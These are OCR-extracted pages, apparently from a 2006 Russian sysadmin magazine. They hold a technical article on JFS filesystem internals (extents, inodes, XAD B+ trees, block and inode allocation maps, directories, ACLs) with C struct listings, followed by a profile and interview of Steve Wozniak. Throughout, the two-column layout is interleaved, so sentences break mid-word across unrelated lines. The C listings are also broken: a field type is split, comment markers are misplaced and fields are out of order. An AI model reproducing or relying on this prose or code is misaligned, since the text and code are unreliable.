идентифицируются отсчитываемым от нуля индексом, име- довательно, большие экстенты охватывают несколько AGs.
нуемым номером AG. Экстенты индексируются в B+ дереве для улучшения про-
Размеры AGs выбираются таким образом, чтобы они изводительности операций поиска и вставки.
могли вмещать достаточно большие объекты. Для миними- Для однозначного определения экстента необходи-
зации количества изменений, которые необходимо внести мо знать всего 2 параметра: номер его стартового бло-
при расширении или усечении тома (имеется в виду опера- ка и длину.

44
администрирование
Основанная на экстентах ФС, предоставляющая поль- /*
* on-disk inode : 512 bytes
зователю возможность задавать размер блока, по идее *
почти не подвержена внутренней фрагментации. Пользо- * note: align 64-bit fields on 8-byte boundary.
*/
ватель может сконфигурировать том с маленьким разме- struct dinode {
ром блока (минимально – 512 байт) для уменьшения внут-
/* 1. Базовая четверть – POSIX атрибуты. 128 байт. */
ренней фрагментации при работе с большим количеством
мелких файлов. /* признак принадлежности inode к конкретному
* файлсету */
Вообще говоря, драйвер JFS старается размещать фай- __le32 di_inostamp;
лы в как можно меньшем количестве экстентов, что позво- __le32 di_fileset; /* номер файлсета */
__le32 di_number; /* номер inode */
ляет формировать длинные I/O-запросы к диску, которые __le32 di_gen; /* номер поколения inode */
(как на запись, так и на чтение) выполняются гораздо бо-
pxd_t di_ixpxd; /* дескриптор inode-экстента */
лее эффективно, чем группа коротких. Однако это не всег-
да возможно. К примеру, copy-on-write клонирование сег- __le64 di_size; /* размер объекта */
__le64 di_nblocks; /* количество выделенных блоков */
мента файла вызовет деление протяженного экстента на
несколько более коротких. Другой пример – ограничение __le32 di_nlink; /* счетчик ссылок на объект */
размера экстента. Он может быть лимитирован при обра- __le32 di_uid; /* UID владельца */
ботке сжатых файлов – так как драйвер должен прочитать __le32 di_gid; /* GID владельца */
в память весь экстент и разжать его. Имея в своем распо- __le32 di_mode; /* атрибуты, формат, разрешения */
ряжении ограниченный объем памяти, драйвер JFS должен
/* время последнего доступа */
быть уверен, что разжимаемые данные не выйдут за пре- struct timestruc_t di_atime;
делы доступного региона. /* время последней модификации атрбутов */
struct timestruc_t di_ctime;
Утилита для дефрагментации избавляет пользовате- /* время последней модификации данных */
ля от роста внешней фрагментации, которая возникает struct timest
/* время создания */
из-за динамического выделения/освобождения экстен- struct timestruc_t di_mtime;ruc_t di_otime;
тов переменной длины. Результат этого процесса – по-
dxd_t di_acl; /* ACL-дескриптор */
явление разбросанных по всему диску свободных экс-
тентов разного размера. Defragment-программа произво- dxd_t di_ea; /* EA-дескриптор */
дит объединение множества мелких свободных экстен- /* следующий доступный индекс в dir_table */
тов в один большой. __le32 di_next_index;

__le32 di_acltype; /* тип ACL */


Inodes
/* 2,3,4. Четверти расширений. */
Дисковый inode JFS занимает 512 байт и содержит 4 базо- union {
вых группы данных (четверти). Первая группа хранит POSIX- struct {
/* Таблица directory-слотов. */
атрибуты JFS-объекта, вторая – дополнительные атрибуты struct dir_table_slot _table[12];
(данные для работы с VFS, специфичную для ОС информа- /* Корень дерева каталогов */
dtroot_t _dtroot;
цию и заголовок B+ дерева). Третья группа содержит либо } _dir;
дескриптор экстента корневого узла B+ дерева, либо встро-
struct {
енные данные, четвертая – расширенные атрибуты, встро- union {
енные данные или дополнительные дескрипторы экстентов. /* не используется */
u8 _data[96];
Структура дискового inode определена в файле jfs_dinode.h struct {
как структура dinode (см. листинг). /* не используется */
void *_imap;
В JFS inodes размещаются динамически, что дает не- /* generator */
сколько преимуществ по сравнению со статическим подхо- __le32 _gengen;
} _imap;
дом. Дисковый блок под inode может быть размещен по лю- } _u1;
бому адресу, что развязывает номер inode с его координа- union {
/* корень дерева экстентов */
тами. Это упрощает изменение размера тома. Inodes мо- xtpage_t _xtroot;
гут быть перемещены без их перенумерации, что избавля- struct {
/* не используется */
ет JFS от необходимости вникать в структуру каталогов при u8 unused[16];
перемещении inode. Эта развязка также необходима для /* EA-дескриптор */
dxd_t _dxd;
поддержки клонирования файлсетов, обязательной для со- union {
ответствия стандарту DFS. /* [minor:major] */
__le32 _rdev;
С другой стороны, это порождает и проблемы. При ста- /* имя для symlink */
тическом размещении геометрия файловой системы явно u8 _fastsymlink[128];
} _u;
описывается положением inodes на диске, с динамическим /* встроенные EAs *
же размещением требуются отдельные картирующие струк- u8 _inlineea[128];/
} _special;
туры. Из-за накладности репликации этих структур дизай- } _u2;
неры JFS решили смириться с риском потери метаданных. } _file;
} u;
Однако JFS журналирует B+ деревья, что позволяет в слу- };
чае сбоя без особого труда отыскивать эти карты.

№8, август 2006 45


администрирование
 len – 24-битное поле, содержащее длину экстента в бло-
ках.
 addr1,addr2 – 40-битный адрес экстента.

XAD описывает 2 абстрактных диапазона: физичес-


кий, относительно всего тома, и логический – относи-
тельно файла, которому принадлежит экстент. JFS под-
держивает одну generic-структуру B+ дерева для всех ин-
дексируемых объектов. Меняется только формат листо-
вых узлов. В дереве дескрипторов выделенных экстен-
тов (свое для каждого файла) ключами являются их ло-
гические смещения.
Нижняя часть второй четверти дискового inode содер-
жит маркер, который указывает, что хранится во второй по-
ловине inode, которая может содержать встроенные сырые
данные – если файл достаточно мал, или корневой узел
B+ дерева экстентов – если файл в inode не помещает-
ся. Заголовок узла описывает, сколько XAD использовано
и сколько еще доступно. Вообще говоря, если данные фай-
ла расположены в восьми или менее экстентах, то корень
дерева будет содержать просто до 8 XAD-структур, пред-
ставляя из себя листовой узел. Иначе эти восемь XAD бу-
дут указывать на дополнительные листовые или внутрен-
ние узлы дерева.
Как только 8 XAD-структур в третьей четверти inode за-
полнятся, драйвер JFS сделает попытку разместить допол-
XAD описывает 2 абстрактных диапазона нительные XAD в четвертой четверти. Если бит INLINEEA
На диске inodes размещаются в виде inode-экстентов, (см. ниже) в поле di_mode дискового inode установлен, пос-
представляющих собой массивы inodes. По определению ледняя его четверть доступна.
такой экстент содержит 32 inodes и, следовательно, занима- Когда все возможные XAD-структуры в inode исполь-
ет 16 Кб. При размещении нового inode-экстента он не за- зованы, B+ дерево разбивается. JFS выделяет 4 Кб диско-
полняется нулями. Для того чтобы проверить, используется вого пространства для листового узла дерева (в термино-
ли данный inode, fsck смотрит на его счетчик ссылок. логии JFS любой регион дискового пространства разме-
Для поиска inodes на диске служат карты размещения ром 4 Кб именуется страницей; в дальнейшем вы увидите,
inodes (см. ниже). что несмотря на обилие «промежуточных» сущностей – ти-
па блока раздела и блока тома, JFS оперирует в основном
B+ деревья экстентов со страницами; вероятно, это связано с особенностями под-
Дескриптор выделенного экстента (структура xad_t из фай- системы управления памятью AIX и OS/2), который являет-
ла jfs_xtree.h, далее просто XAD) описывает экстент и имеет ся просто массивом XAD-структур с заголовком, содержа-
2 дополнительных поля для использования в файлах: offset – щим указатель на первый свободный XAD. Далее 8 XAD ко-
логическое смещение от начала файла и поле флагов: пируются из inode в лист, заголовок инициализируется ука-
зателем на 9-й XAD. Затем JFS обновляет корень дерева –
/* первую XAD-структуру в inode. Она теперь будет указывать
* Дескриптор выделенного экстента (XAD)
*/ на вновь размещенный лист. Также обновляется заголо-
typedef struct xad { вок корневого узла – ведь теперь он содержит только один
unsigned flag:8; /* флаги */
unsigned rsvrd:16; /* зарезервировано */ XAD. Маркер во второй четверти inode теперь показывает,
unsigned off1:8; /* смещение в блоках */ что inode содержит чистый корень B+дерева.
__le32 off2; /* смещение в блоках */
unsigned len:24; /* длина в блоках */ По мере добавления новых экстентов к файлу их де-
unsigned addr1:8; /* адрес в блоках */ скрипторы будут вставляться в тот же самый листовой
__le32 addr2; /* адрес в блоках */
} xad_t; узел, пока он не заполнится. Когда это происходит, выде-
ляются еще 4 Кб дискового пространства для нового лис-
 flag – 8-битное поле, содержащее различные флаги, на- та, а в inode добавляется еще один XAD, указывающий на
пример, бит copy-on-write, если экстент размещенный, этот узел. Так продолжается до тех пор, пока все 8 XAD-
но не записываемый, данные для компрессии и т. д. структур в корневом узле (в inode) не будут использованы.
 rsrvd – 16-битное поле, зарезервированное для буду- В этом случае размещается внутренний узел дерева раз-
щего использования. Всегда ноль. мером 4 Кб, в который будут скопированы 8 XAD из inode.
 off1,off2 – 40-битное поле, выражающее логическое Корневой узел же полностью создается заново и на выхо-
смещение первого блока экстента от начала файла де содержит лишь один XAD, указывающий на вновь раз-
в блоках. мещенный внутренний узел.

46
администрирование
В файле jfs_xtree объявлена струк- ка журналирования битовых карт при- Механизм журналирования карт
тура xtpage, описывающая заголовок меняется сейчас в reiser4). размещения inodes аналогичен меха-
корня B+дерева. низму защиты битовых карт блоков
В jfs_btree.h есть структура btpage, Выделение inodes и предусматривает наличие рабочего
формат которой соответствует виду При динамическом размещении inodes и постоянного экземпляров карты.
заголовков внутренних и листовых уз- их номера более не привязаны к поло- Каждая страница IAG имеет конт-
лов дерева. жению на диске, и это порождает ряд рольную секцию, содержащую обоб-
проблем, для решения которых было щающую карту inodes. Она использу-
Карта выделения блоков необходимо ввести дополнительные ется для улучшения производитель-
Карта выделения блоков использует- структуры данных: ности процесса поиска. Каждый бит
ся для отслеживания состояния (вы-  Прямой поиск – по номеру inode такой карты отображает состояние 32
делен/свободен) блоков тома. Так как найти его на диске (например, при inodes и сбрасывается, если все они
все файлсеты используют общий пул открытии файла). свободны.
дисковых блоков, они используют и об-  Обратный поиск – по номеру бло- Кроме того, IAG содержит 128 де-
щую карту. ка найти ближайшие свободные скрипторов inode-экстентов, на кото-
Логически эта карта представля- inodes (при размещении новых рые также имеется обобщающая карта.
ет собой файл, описываемый вторым inodes). Один ее бит отображает состояние од-
inode тома. При форматировании раз-  Поиск свободных номеров ного inodes-экстента и будет сброшен,
дела выделяется место сразу под всю inodes – для размещения нового если экстент полностью свободен.
карту, она может менять свой раз- inode-экстента необходимо найти
мер только в случае увеличения/усе- 32 последовательных не занятых Список свободных
чения тома. номера inode. inodes AG
Карта состоит из трех типов 4-кило- Этот список решает проблему обрат-
байтных страниц – контрольная bmap- Карта размещения inodes ного поиска. Так как количество AGs
страница (от block map – блочная кар- Карта размещения inodes решает про- на томе ограничено и заранее извес-
та), контрольные dmap-страницы и сы- блему прямого поиска. Каждый фай- тно, то и количество заголовков этих
рые dmap-страницы. Сырые dmap- лсет тома поддерживает собственную списков также предопределено. За-
страницы содержат по одному биту карту, которая является динамическим головок списка свободных inodes со-
на каждый блок; если бит установлен – массивом групп размещения inodes держится в контрольной (первой) стра-
блок выделен, если сброшен – свобо- (Inode Allocation Group – IAG). Эта кар- нице карты размещения inodes. I-тый
ден. Структуры всех типов страниц оп- та физически расположена в файле, элемент этого массива будет заголов-
ределены в jfs_dmap.h. Не трудно до- описываемым «супер-inode» из таб- ком для двусвязного списка всех IAGs,
гадаться, что контрольная bmap-стра- лицы тома. имеющих свободные inodes. Номер
ница представляет собой корень де- Каждая IAG имеет 4 Кб в размере IAG используется в качестве индекса,
рева, контрольные dmap – его внут- и описывает 128 inode-экстентов. Так значение -1 указывает на конец спис-
ренние узлы, а сырые dmap – листья. как каждый inode-экстент содержит 32 ка. Каждая контрольная страница со-
Высота дерева зависит от размера то- inodes, IAG фактически адресует 4096 держит указатели на голову и хвост
ма. По умолчанию оно имеет 3 уровня inodes. IAG может существовать в лю- списка.
(и может описывать 243 блоков), одна- бом месте тома, однако все описыва- Вставка и удаление из списка сво-
ко, если таковое их количество не тре- емые ею экстенты должны принадле- бодных inodes AG происходит в его го-
буется, inode блочной карты будет опи- жать одной AG, и эта группа прикреп- лове. Вставка происходит, например,
сывать разреженный файл с «дыра- ляется к AG до тех пор, пока хотя бы при размещении нового inode-экстента
ми» на месте первой страницы каждо- один ее inode используется. Как только или при удалении inode из полностью
го из неиспользуемых уровней (напом- все inodes освобождены, новые inodes занятого экстента. В случае, когда все
ню, что «дырой» называется экстент, могут размещаться в любой другой AG. inode-экстенты конкретной IAG запол-
не имеющий дискового воплощения, Формат IAG определен как struct iag няются, она удаляется из списка.
т.е. поле адреса такого экстента будет в jfs_imap.h. Этот список не журналируется.
неопределено). Первая 4-килобайтная страница В случае сбоя он реконструируется
JFS использует особую стратегию карты является контрольной и содер- fsck. Структура списка определена как
фиксации для обеспечения надежного жит общую информацию о ней. Логи- struct dinomap в jfs_imap.h.
внесения обновлений в управляющие чески карта размещения inodes являет-
структуры. Для этого JFS поддержи- ся массивом структур типа struct iag. Список свободных
вает 2 битовые карты в каждой dmap- Физически карта inodes расположе- экстентов AG
странице – рабочую и постоянную. Ра- на в файле, описываемом специаль- Этот список помогает решить пробле-
бочая карта отражает текущее состоя- ным inode из таблицы файлсета. Стра- му обратного поиска и поиска свобод-
ние блоков, а постоянная – зафиксиро- ницы этого файла размещаются и ос- ных номеров inodes. Каждый файлсет
ванное. При освобождении блока пер- вобождаются по необходимости, с при- имеет свой список свободных inode-
вой обновляется постоянная карта, при менением стандартного механизма ин- экстентов на каждую AG. Количество
выделении – рабочая (похожая техни- дексирования через B+ дерево. заголовков этих списков, хранящихся

№8, август 2006 47


администрирование
в контрольной странице карты разме- Символическая ссылка тентов (указывают на узлы дочерних
щения inodes, ограничено количеством Символическая ссылка представлена уровней). Листовые узлы хранят мас-
AGs. I-тый элемент списка будет заго- inode, поле di_mode которого содержит сивы полных имен (ключ) и номеров
ловком для двусвязного списка всех установленный флаг S_IFLNK. Полный inodes(данные).
IAGs, имеющих свободные inode-эк- путь к файлу, на который указывает Внутренние и листовые узлы B+
стенты. Номер IAG используется как ссылка, хранится прямо в inode. Если дерева каталога занимают страни-
индекс в этом массиве, -1 указывает строка с путем в inode не помещается, цу в 4 Кб. Так как многие каталоги
на конец списка. под нее выделяется один или несколь- не столь велики, подобная схема хра-
Когда все inodes в экстенте удаля- ко экстентов, обработка которых про- нения приводит к потере дискового
ются, его дисковые блоки освобожда- исходит по стандартному для регуляр- пространства. Для решения этой про-
ются, а номер IAG, содержащий этот ных файлов сценарию. блемы была введена следующая схе-
экстент, вставляется в голову списка ма выделения:
свободных inode-экстентов. При раз- Каталог 1. Изначально элементы каталога
мещении новой IAG происходит то же Каталог – это журналируемый файл хранятся в области встроенных
самое. Когда все inode-экстенты в IAG с метаданными JFS. Он состоит из эле- данных в inode.
занимаются, эта IAG удаляется из спис- ментов каталога, которые описывают 2. Когда эта область переполняется,
ка. Если все inode-экстенты в IAG ос- содержащиеся в нем объекты. Каж- JFS выделяет под листовой узел 1
вобождаются, IAG вырезается из это- дый такой элемент связывает имя объ- блок тома.
го списка и вставляется в список сво- екта с соответствующим ему номером 3. Когда этот блок переполняется, JFS
бодных IAGs (см. ниже). inode. Для увеличения производитель- пытается увеличить его размер в 2
Э та таблица не ж урна лирует- ности поиска по каталогу элементы раза (если он еще не равен 4 Кб);
ся, ее формат определен в структуре проиндексированы по имени с помо- если места вокруг текущего экс-
dinomap в файле jfs_imap.h. щью B+ дерева. тента не хватает, выделяет новый
Поле di_size в описывающем ката- экстент и копирует в него данные,
Список свободных IAGs лог inode содержит количество листо- не забывая внести изменения в ро-
Эта таблица решает проблему поиска вых узлов B+дерева, которым проин- дительский узел.
свободных номеров inodes. Ее структу- дексированы элементы каталога. Если 4. Если этот новый экстент вновь за-
ра более проста: она содержит прос- все содержимое каталога умещается полняется и его размер еще не до-
то список номеров полностью свобод- в одном листе, то он будет полностью стиг 4 Кб, повторяется шаг 3. Если
ных IAGs. Его заголовок является по- храниться в inode, а di_size=256. нет – размещается новый лист. Все
лем в inode тома, который описывает Каталог в JFS не хранит на дис- выделяемые впоследствии листо-
данный файлсет. ке 2 специфичных элемента – указа- вые узлы будут размером 4 Кб.
тели на себя («.») и на родительский 5. Когда все элементы в листовой
IAG Free next каталог («..»). Они представлены по- странице освобождаются, эта стра-
Этот счетчик помогает решить пробле- лями в самом inode: указатель на се- ница удаляется из дерева. Содер-
му поиска свободных номеров inodes бя – это просто номер inode каталога, жимое каталога будет упаковано
и позволяет JFS находить номер для а указатель на родителя – поле idotdot, обратно в inode только когда все
вновь размещаемой IAG. Этот счет- содержащее структуру dtroot, опреде- его элементы будут удалены.
чик расположен в контрольной страни- ленную в файле jfs_dtree.h.
це карты размещения inodes. Однаж- Inode каталога содержит корень ACL
ды размещенная IAG никогда не уда- своего B+ дерева, подобно регуляр- ACL, связанные с каждым inode в JFS,
ляется. ному файлу. Ключом в этом дереве представляют различные свойства
является хэш имени объекта, листо- объекта, например, разрешения, иден-
«Супер-inodes» вые узлы содержат элементы катало- тификаторы пользователя или группы.
Inode тома, описывающие конкретные га, состоящие из полного имени и но- ACL-поля в inode из таблицы тома иг-
файлсеты являются inodes особого ти- мера inode. норируются.
па и содержат специфическую инфор- Так как элементы каталога могут Несмотря на то что фиксированных
мацию в последних двух четвертях быть разного размера, JFS нуждает- требований к дисковому или in-memory-
вместо нормальных для inode данных. ся в особой схеме их обработки. Для их формату списков контроля доступа
Они отслеживают дисковое местопо- хранения используются так называе- не существует, JFS использует струк-
ложение карты размещения inodes мые directory-слоты – структуры фик- туру, определенную стандартом DFS.
в своем B+ дереве. сированного размера, имеющие поля ACL органичен в размере и должен
для номера inode и имени. Если имя помещаться в 8-килобайтную струк-
Файл в один слот не помещается, выделя- туру dfs_acl.
Файл представлен inode, содержащим ется следующий – с тем же номером Любой объект JFS может быть ас-
корень B+ дерева, в котором, по логи- inode. Внутренние узлы дерева состо- социирован с ACL, который будет уп-
ческому смещению от начала файла, ят из двух частей: массива сжатых суф- равлять дискретным доступом к это-
проиндексированы экстенты, содер- фиксов имен (используется как ключ) му объекту. Каталоги могут иметь до
жащие данные этого файла. и таблицы простых дескрипторов экс- двух ACL, которые инициализируются

48
администрирование
во время создания объекта: ACL ка- inode также может быть использована посредственно данные потока. Потоки
талога и файловый ACL. Если есть, под дополнительные xad, поле di_mode не журналируются.
файловый ACL будет применяться в inode будет индикатором доступности
при доступе к любому файлу этого ка- этого пространства. INLINEEA-бит бу- Заключение
талога. дет установлен, если оно доступно. Архитектура и реализация JFS отлича-
Для хранения массива ACL JFS ис- Элемент EA содержит имя атрибу- ются большим своеобразием, на фо-
пользует специальный файл (в каж- та и его значение. Для доступа к кон- не других файловых систем Linux она
дом файлсете), который структуриро- кретному атрибуту JFS просто линей- выглядит «белой вороной». Это обус-
ван так: за каждыми 8 Мб ACL следует но ищет его в экстенте. Расширен- ловлено тем, что JFS изначально про-
4-килобайтная битовая карта занятос- ные атрибуты не журналируются (ес- ектировалась для очень далекой от
ти ACL. ACL-файл журналируется. ли они хранятся не в inode), но пишут- UNIX OS/2. Вероятно, IBM не смогла
ся на диск синхронно. до конца решить одну из поставленных
Расширенные атрибуты при разработке второй версии этой ФС
Расширенные атрибуты (Extended Потоки задач, – создание хорошо переноси-
Attributes – EAs) – это generic-меха- Потоки (streams) в JFS используют- мой ФС, – в среде Linux ее производи-
низм хранения и доступа к данным, ся для прикрепления дополнительных тельность не идеальна.
прикрепленным к объектам JFS. EAs именованных данных к файлам и ката- Но, несмотря на некоторые недо-
хранятся непрерывно в пространстве логам. Из-за ограничений интерфейса четы в работе, JFS была и остается
расширенных атрибутов (Extended VFS, в Linux-версии JFS-потоки не под- очень стабильной файловой систе-
Attribute Space – EAS), как определе- держиваются и здесь упоминаются мой, а ее дизайн представляет чис-
но EA-дескриптором в inode объекта только для полноты картины. то академический интерес – как и ус-
JFS. EA-дескриптор – это просто де- Вторая четверть дискового inode тройство любого программного про-
скриптор экстента, описанный в фай- имеет поле для хранения дескрипто- дукта, сработанного в недрах «голу-
ле jfs_types.h, в структуре dxd_t. ра потока. Так как количество при- бого гиганта».
EA может храниться в области крепленных к объекту потоков может
встроенных данных в inode или в отде- меняться, дескриптор потока содер- 1. www.ibm.com/developerworks.
льном экстенте. Поле flags в дескрип- жит просто номер inode, описывающий 2. www.jfs.sourceforge.net.
торе EA имеет индикатор способа хра- файл со списком номеров inodes вто- 3. Исходные тексты драйвера JFS для
нения. Т.к. область встроенных данных рого уровня. Эти inodes описывают не- Linux-2.6.16.

№8, август 2006 49


человек номера

Волшебник из страны… Воз

Легендарный создатель компьютеров Apple I и Apple II Стив Возняк верит в сказки


и сам создает их.
Украинский маг Я же настаиваю на том, что Woz, шом интервью, что его фамилия имеет
Ему 56 лет, и он похож на Страшилу как называют легендарного основате- украинские корни. Посмотрите в лю-
Мудрого, почти достигшего пенсион- ля Apple, имеет непосредственное от- бой справочник, и он подтвердит: «Воз-
ного возраста, но не утративший аван- ношение к моей любимой сказке «Вол- няк» – «возница, кучер, ямщик», причем
тюрной жилки. Надеюсь, знаменито- шебник Изумрудного города». Амери- в данном случае фамилия выдает про-
го Стива Возняка, одного из создате- канцам эта сказка известна не в интер- фессию отца, то бишь какого-то даль-
лей компьютера Apple, не обидит такое претации Волкова, а в изложении Бау- него предка американца Возняка.
сравнение. В интервью американско- ма, под названием Wizard of Oz. Меж- Свои славянские корни «волшеб-
му изданию он как-то сказал: «Не мо- ду тем прозвище Стива – Wizard of Woz. ник Изумрудного города» вспомнил,
гу понять, почему, несмотря на то, Можно, конечно, объяснить это имя се- и за это ему спасибо, в лучшие време-
что всю жизнь я занимался совершен- рьезно, без улыбки, ведь одно из значе- на, когда заработал немало денег и за-
но тривиальными вещами – был хоро- ний слова «wizard» в английском язы- нялся благотворительностью. В Интер-
шим инженером, да просто делал то, ке – специалист своего дела. Зато дру- нете, в материалах, посвященных био-
что хочется, – некоторые люди счита- гой, более известный перевод – «маг, графии Стива, его музыкальная, об-
ют меня героем, особенным челове- волшебник». И, глядя на Стива, легко разовательная и благотворительная
ком!» На что журналист резонно за- поверить, что он вот только что гулял деятельность оценивается как нечто
метил: детям нужны герои как пример по лесам, окружающим Изумрудный экстравагантное. Биографы удивле-
для подражания. И Стив согласился, город. Прибавьте легкую украинскую ны: человек делал компьютеры, биз-
что «сотворить себе кумира» – в при- нотку во внешности и происхождении. нес имел, богател и вдруг – ни с того,
роде человека. Мистер Возняк сам признался в неболь- ни с сего – заскучал, стал организа-

50
человек номера
тором рок-фестивалей, в 1987 году –
спонсором первого в СССР советско- Стивен Возняк ную компанию Apple. В 1997 году вернулся
американского рок-концерта. Позже, Родился 11 августа 1950 г. в штате Ка- в Apple в качестве консультанта.
в 1990 году, на деньги Стива Возня- лифорния, США. В 1976 году вместе со В декабре 2001 года Стивен Возняк
ка в Советский Союз поставляли ком- Стивом Джобсом создан фирму «Apple вошел в состав совета директоров старт-
пьютеры для школ. И сегодня Стив на- Computer». В середине 70-х компания вы- апа – компании Danger Inc. (http://www.
строен исключительно пророссийски. пустила Apple I и Apple II. В 1980 году осно- danger.com), занимающейся производс-
В июне этого года он с удовольствием ватели Apple Computers стали миллионера- твом карманных интернет-компьютеров. В
приехал на первую в Москве выстав- ми. После аварии самолета в феврале 1981 2002 году Возняк создал компанию Wheels
ку «Interop» и на пресс-конференции года Стивен снова стал студентом Кали- of Zeus («Колеса Зевса»). В 2006 году стал
подробно объяснял, как относятся его форнийского университета, который бро- основателем новой компании «Acquicor
соотечественники к России: «Воспри- сил в 1975 году. В 1985 году покинул род- Technology».
ятие России стало в целом очень хоро-
шим. Мы надеемся, что вы будете на- рые увлечены сказочным сюжетом, за- тения. Apple I Возняк и Джобс придума-
шими хорошими друзьями в будущем. хвачены им». ли в доме Джобса, а прототип создали
Правда, в последнее время я наблю- в гараже Джобса. Джобс сумел угово-
даю большой разброс мнений. Такого Яблочный бум рить местного продавца электроники
не было раньше никогда! Просто уди- Однако, если верить фактам, жизнь заказать им 25 машин. Чтобы собрать
вительно, как много людей отверну- Возняка состоит из сказочных по- деньги, необходимые для производс-
лись от вашей страны. И одновременно воротов, которые меняли его судь- тва такого количества «Apple», Джобс
я встречаю много друзей России, это те бу. А он, баловень фортуны, актив- и Возняк были вынуждены продать
люди, которые не согласны с полити- но сопротивлялся и не желал идти свои самые ценные вещи – Фолькс-
кой Соединенных Штатов Америки. проторенными дорогами. С детства ваген Джобса и научный калькулятор
Увы, противники дружбы с россиянами он лелеял две мечты, и о них сегод- НР Возняка. Они выручили 1300 дол-
не хотят сдаваться даже сейчас, когда ня знает весь мир: «Стать инженером ларов. С этим первоначальным капи-
мы знаем о том, что Россия и Франция и учить детей». В середине 70-х Воз- талом и кредитом наладили серийное
поступают правильно. Они не отка- няк бросил университет, начал рабо- производство. Следом за этим Воз-
жутся от своих отрицательных убеж- тать на «Hewlett-Packard» и параллель- няк бросил НР и стал вице-президен-
дений… Мне очень неприятно, когда но совместно с Джоном Дрейпером том, ответственным за исследование
люди в моей стране говорят о России сконструировал «голубую коробку» – и развитие новой компании, назван-
как о плохом партнере! К сожалению, миниатюрный аппарат, который позво- ной «Apple Computers». Биограф Сти-
это не так просто исправить». Стивен лял незаконно подключаться к телефо- ва Возняка Маниш Стривастава счита-
помрачнел. И добавил уже с энтузиаз- ну и бесплатно звонить в любой уголок ет, что имя «Apple» появилось, потому
мом: «Но бизнес открыт! Как никогда мира. Не слишком нравственное заня- что два Стива вспомнили название за-
раньше. И это уже хорошо». тие? Стив никогда не был пай-мальчи- писывающей компании знаменитой ли-
На пресс-конференции все воп- ком, но и злодеем его назвать нельзя. верпульской четверки «Битлз», а воз-
росы достались изобретателю Apple. Дрейпер вспоминает, что «первый, ко- можно, Джобс просто был под впечат-
Остальные участники встречи с жур- му позвонил Воз, был папа. Воз хотел лением того лета в Орегоне, когда ему,
налистами даже как-то заскучали, по- получить отпущение грехов». К тому безработному, пришлось наняться со-
няв, что они практически не интересуют же особой выгоды из своего изобрете- бирать яблоки.
СМИ. А вот я никак не решалась спро- ния Возняк не мог извлечь. Или не хо- Началась сказка – доходы, быстро
сить то, что интересовало меня. Осо- тел? В этот момент судьба послала растущие в цене акции, популярность,
бенно когда пошли специфические тех- ему… нет, не ангела-хранителя, а друга награды, в их числе Национальная ме-
нические вопросы по поводу информа- и по совместительству менеджера на даль по технологии, врученная самим
ционной безопасности. Подошла после долгие годы. Тезка Стив Джобс за не- президентом США. Пять лет Apple II
официального общения, когда Возняка сколько лет до встречи с Возняком то- оставался бестселлером на рынке
окружили поклонники с просьбой об ав- же бросил вуз и был в поиске… собс- компьютеров. Шеф-редактор IT-из-
тографе и фотографии на память. твенного «я». Так же, как и Воз, Джобсу даний «СК Пресс» Рубен Герр счита-
– Вы верите в сказки? полюбилась компания молодых людей, ет, что «основная причина успеха бы-
– Во что? – искренне удивился компьютерных фанатов в Пало Альто, ла в «происхождении» – его «предок»
Стив. Калифорния, называвших себя Ком- был сделан для «самодельщиков», та-
– В сказки… – робко повторила я. пьютерный клуб «Home-brew» (в пе- ким он в значительной мере и оста-
Ура, я не ошиблась. Верит! Прав- реводе с английского – «домашнее вался. Компьютер никогда не был и,
да, сказкой Возняк считает и видео- пиво»). Джобс считает, что в то время вероятно, никогда не будет закончен-
игры, которые появились еще до ком- он был инженером «примерно такого ным изделием, особенно персональ-
пьютерных, и научную фантастику. же уровня, как Воз», но у Стива Джоб- ный. Apple II можно было достраивать,
И еще, «волшебник Воз» тут же ого- са были способности менеджера, и он дооснащать, словом, переделывать
ворился: «Верю в сказки, но, конеч- предложил Возняку работать вместе по вкусу. Конкурирующие машины та-
но, не так, как маленькие дети, кото- для того, чтобы продавать его изобре- кими свойствами не обладали, гнезд

№8, август 2006 51


человек номера
ко, как в детстве погружался в люби- И еще одно предсказание: «В IT-сфе-
мую математику. Говорят, маме Стива ре появятся такие приложения и реше-
приходилось в буквально смысле сло- ния, которые позволят создать среду,
ва трясти сына, чтобы вернуть его в ре- нереальную в физическом мире. Я пол-
альный мир, когда он увлекался какой- ностью это поддерживаю». Чем не про-
нибудь особенно занимательной ма- ект школьной лаборатории, в которой
тематической задачкой. «Когда я был можно моделировать хоть лунную по-
молодым, – рассказал мне Возняк, – верхность, хоть период мезозоя?»
я мечтал стать учителем, потому что Даже отношение Стива Возняка
понимал, насколько важно образова- к начинающим, которые сегодня прихо-
ние. Это очень важно для нашей жиз- дят в сферу новейших технологий, оте-
для плат расширения в них не предус- ни, нашего развития, нашего будуще- ческое, педагогическое: «Я не думаю,
матривалось». го. В биографии каждого из нас бы- что молодым специалистам нужно го-
В 1982 году Возняк попал в ава- ли учителя, которые сыграли важную ворить: вот тебе направление, и по нему
рию, был серьезно ранен, потерял па- роль в нашем развитии. Я решил обу- надо идти. Это все равно как на ребен-
мять – не мог вспомнить, кто был у не- чать детей начиная с начальной шко- ка накладывать свои ценности, вместо
го в больнице накануне, разучился иг- лы вплоть до старшей школы и учи- того, чтобы позволить человеку создать
рать в компьютерные игры и совер- телей. Что я и делал в течение вось- собственные ценности, помочь разви-
шенно не мог восстановить подробнос- ми лет в моем округе». Пауза. Лукаво: ваться в этом направлении. Надо просто
ти аварии. Память вернулась, и Стив «Без участия прессы. Иметь личный наблюдать за развитием молодых про-
вдруг осознал, что надо жить. Он по- контакт с тридцатью студентами, это фессионалов, знать, о чем они мечтают,
бежал заканчивать университет, в пер- значит для меня гораздо больше, чем о чем думают, какие у них цели и помо-
вый раз женился. В Apple Стив вернул- писать учебники и выпускать обуча- гать им по мере возможности двигать-
ся позже, но все же вернулся. Судьба, ющие CD. Вы видите эффективность ся в избранном направлении».
упрямо желавшая, чтобы он все де- своей работы каждый день!» Стив Сегодня Стив опять занимается ин-
лал правильно, возвращала его сно- уточняет: «Сейчас я уже не занимаюсь женерией. В 2002 году он основал ком-
ва и снова к бизнесу. преподаванием». Однако и сегодня он панию Wheel of Zeus. Из первых букв
считает образование такой же важной названия складывается знакомая аб-
«Папа» школьного округа частью жизни, как и связь. бревиатура – Woz. Значит, Страши-
Но Стив был упрямее. Вырвавшись А говоря о будущем информацион- ла Мудрый создал себе все-таки свой
на «свободу» снова, на сей раз, что- ных технологий, предполагает, что но- Изумрудный город. Не все получается
бы заняться образовательной деятель- вые изобретения понадобятся имен- в нем так, как хочется. Недавно в ин-
ностью, он заявил: «Всю свою жизнь я но в образовательных учреждениях: тернет-СМИ прошло сообщение, что
